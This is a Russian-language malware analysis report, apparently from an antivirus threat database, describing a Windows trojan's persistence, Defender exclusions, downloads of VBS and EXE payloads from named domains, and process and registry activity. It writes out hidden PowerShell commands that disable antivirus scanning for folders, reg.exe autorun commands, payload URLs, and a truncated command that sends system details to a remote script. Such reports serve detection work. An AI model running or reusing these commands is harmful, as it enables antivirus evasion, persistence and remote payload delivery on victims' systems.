Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'FTPower' = '"%ALLUSERSPROFILE%\ftpower3\ftpower.bat"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSvcHost32' = 'wscript.exe "%ALLUSERSPROFILE%\contador1\autoejecutor.vbs"'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\ftpower3\user' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\contador1' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\contador1\user' -ErrorAction SilentlyContinue"
Загружает и запускает на исполнение
- https://rdpftpower.com/ftpower3/actualizador.vbs как %allusersprofile%\ftpower3\user\actualizador.vbs
- http://calculadorazt.com/contador1/actualizador.vbs как %allusersprofile%\contador1\user\actualizador.vbs
- https://rdpftpower.com/ftpower3/miapp.exe как %allusersprofile%\ftpower3\user\miapp.exe
- http://calculadorazt.com/contador1/miapp.exe как %allusersprofile%\contador1\user\miapp.exe
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM miapp.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\contador1\ftpower.bat
- %ALLUSERSPROFILE%\contador1\prubaftpower.bat
- %ALLUSERSPROFILE%\contador1\autoejecutor.vbs
- nul
Сетевая активность
Подключается к
- 'rd###power.com':443
- 'ca####adorazt.com':80
UDP
- DNS ASK rd###power.com
- DNS ASK ca####adorazt.com
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\contador1\autoejecutor.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\contador1\prubaftpower.bat" "
- '<SYSTEM32>\reg.exe' query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "FTPower"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "FTPower" /t REG_SZ /d "\"%ALLUSERSPROFILE%\ftpower3\ftpower.bat\"" /f
- '<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\contador1\ftpower.bat" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"%ALLUSERSPROFILE%\contador1\autoejecutor.vbs\"" /f
- '<SYSTEM32>\timeout.exe' /t 1 /nobreak
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$os=[uri]::EscapeDataString((Get-WmiObject Win32_OperatingSystem).Caption); $url='http://calculadorazt.com/contador1/registro.ph...
